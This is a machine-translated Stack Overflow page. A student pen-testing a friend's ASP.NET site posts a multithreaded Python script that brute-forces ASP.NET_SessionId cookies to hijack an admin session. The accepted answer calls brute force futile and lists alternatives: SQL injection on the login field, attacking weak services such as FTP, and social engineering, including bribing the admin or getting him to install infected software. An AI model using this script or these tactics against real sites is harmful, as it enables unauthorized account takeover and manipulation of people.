python - asp.net 破解 sessionId 使用 python 脚本被暴力破解的可能性

标签 python asp.net session session-state

我是这里的新手。 我正在为我的大学项目学习渗透测试,并希望在其中发展 future 。 我有一个由我的 friend 托管的网站(在双方同意的情况下),他向我发起挑战,要求我侵入该网站。 这是一个简单的asp.net网站,大概是2.0 它使用表单登录该网站。 据我了解,他正在生成 ASP.NET_SessionId 来存储身份验证。我尝试从该网站注销,但 cookie 并未过期。现在我想尝试使用相同的方法登录管理员帐户。我不知道他从哪里以管理员身份登录。 我写了这个暴力Python脚本来做同样的事情,有50个线程。如果我生成超过 50 个,那么 session 就会开始超时。

#!/usr/bin/python
import urllib2
import string
import itertools
import threading

threadLimiter = threading.BoundedSemaphore(50)

class checkPage(threading.Thread):
    def __init__(self,sessionID):
        threading.Thread.__init__(self)
            self.sessionID=sessionID
    def run(self):
        threadLimiter.acquire()
        try:
             opener = urllib2.build_opener()
             opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
             f = opener.open("http://mysite.webber.org/default.aspx")
             page = f.read()
             f.close()
             #if logged in write to file
             if 'Welcome' in page:
                 k = open("session.txt","a")
                 k.write(self.sessionID+'\n')
                 k.close()
        finally:
            threadLimiter.release()

count = 0   
for state in itertools.product('abcdefghijklmnopqrstuvwxyz012345', repeat=24): 
     sessionID = ''.join(state)
     try:   
         thread=checkPage(sessionID)
         thread.start()
     except:
         print "thread cannot be started"
         break
     if count==50:
         thread.join()
         count = 0
    count += 1

根据 ASP.net, session ID 由 CreateSessionId 函数生成,并提供包含 a-z 和 0-5 的 24 个字节的输出。

我打算窃取管理员 session ID,然后再次使用它登录页面并获得管理员访问权限。

这是正确的方法吗?

我认为这种蛮力可能会永远持续下去。减少暴力破解时间的最佳选择是什么

谢谢。

最佳答案

暴力破解很糟糕。

不,它真的很糟糕。

安全背后的整个想法不是将人们拒之门外,而是将人们拒之门外足够长的时间,以至于他们感到无聊,或者你发现他们闯入。 session cookie是服务器端生成的东西,然后提供给客户端,所以至少可以说,您暴力破解当时正在使用的这些 cookie 之一的可能性不大。

考虑替代方案可能是个好主意。

  1. 瞄准盒子本身

    这是一个可行的替代方案,而不是将您的精力集中在网站上尝试查找那里的漏洞,它可能会节省您直接寻找不安全框的时间和精力。也许利用不安全的密码策略或攻击 FTP 等更不安全的服务会产生更好的结果

  2. SQL

    哦 SQL 我该从哪里开始呢。如今,世界上大多数地方似乎都在运行您,并且大多数网站仍然没有正确清理输入。在这种情况下,您可以在用户名框上进行 SQL 注入(inject),不需要任何艰苦的工作,您可以违反 SQL 服务器,或者只是获取数据库转储,甚至在弄清楚架构时将记录插入数据库。

  3. 社会工程

    永远不要忽视安全的这一方面,人类是有价格的,您可以以适当的金额购买任何人。出于这个原因,你总是可以向他支付管理员访问权限,付钱给他将密码设置为你知道的东西,欺骗他直接透露他的密码。或者让他在盒子上安装受感染的软件。

还有很多其他可能的攻击媒介,这个列表可能会持续一段时间,因此我将使其简短明了。这些应该会给您一些想法,即在进行笔测试或审计时,对您的目标保持开放的态度是个好主意。只要记住黄金法则即可。

Keep things simple. Stupid.

关于python - asp.net 破解 sessionId 使用 python 脚本被暴力破解的可能性,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19678115/

相关文章:

python - 如何在 Python 的单元测试设置阶段实例化对象

python - 如何使用 Python Flask API 可靠地保持 SSH 隧道和 MySQL 连接打开?

asp.net - https ://api-secure. recaptcha.net/上的 recaptcha https 问题

ruby-on-rails - Rails ActiveRecord session 存储在 HTML5 SessionStorage 而不是 Cookie 中

python - 无法在 Twisted 中获取上传的文件

python - 如何更正python中通过str.contains生成的输出

c# - ASP.NET C# 从代码隐藏中设置 OnSelectedIndexChanged

c# - 路线优化和 Google map asp.net mvc

php - session 保存在哪里?

web-services - 使用 HttpOnly cookie 注销